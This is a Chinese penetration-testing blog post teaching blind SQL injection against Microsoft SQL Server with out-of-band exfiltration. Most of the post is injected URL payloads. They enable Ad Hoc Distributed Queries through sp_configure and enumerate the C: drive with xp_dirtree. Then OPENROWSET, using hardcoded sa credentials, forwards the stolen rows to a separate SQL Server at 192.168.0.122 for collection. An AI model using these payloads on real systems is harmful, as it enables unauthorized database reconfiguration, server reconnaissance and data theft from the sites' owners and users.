欢迎来到【血梦博客】 今天是:2020年08月09日 星期日
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> WEB安全之SQL注入:sqlserver openrowset转发利用

WEB安全之SQL注入:sqlserver openrowset转发利用

作者:血梦 日期:2020-03-18 浏览:116分类: 渗透测试 已提交百度收录

适用于盲注入,页面不返回信息 使用这种注入方法,需要一台带有sqlserver的机器。


原理就是把当前数据转发到远程的sqlserver上。


启用Ad HocDistributed Queries:

;execsp_configure 'show advanced options',1 reconfigure
;execsp_configure 'Ad Hoc Distributed Queries',1 reconfigure
为了安全使用完成后,关闭Ad HocDistributed Queries:
;execsp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;execsp_configure 'show advanced options',0 reconfigure


1、开启扩展


http://www.demo1.com/index.aspx?id=1;execsp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad HocDistributed Queries',1 reconfigure


本地建立临时表

create table ##version (VERSIONvarchar(500))

2、查询系统信息

http://www.demo1.com/index.aspx?id=1;insertinto OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select *from %23%23version' ) select DB_NAME()

1.jpg                              
执行上面语句之后 再来查询远程sqlserver上的表


select *from ##version

3.jpg



3、两边创建临时表



create table ##nonamed( dir ntext, num int)

http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )


4、查询路径

insert%23%23nonamed execute master..xp_dirtree 'c:/',1

向nonamed表插入c盘下路径的数据

http://www.demo1.com/index.aspx?id=1;insert%23%23nonamed execute master..xp_dirtree 'c:/',1


这里就是把数据转发到远程192.168.0.122 sqlserver上

http://www.demo1.com/index.aspx?id=1;insertinto OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select *from %23%23nonamed' ) select * from %23%23nonamed




在远程sqlserver执行这个命令 就可以获取数据


select * from%23%23nonamed

关灯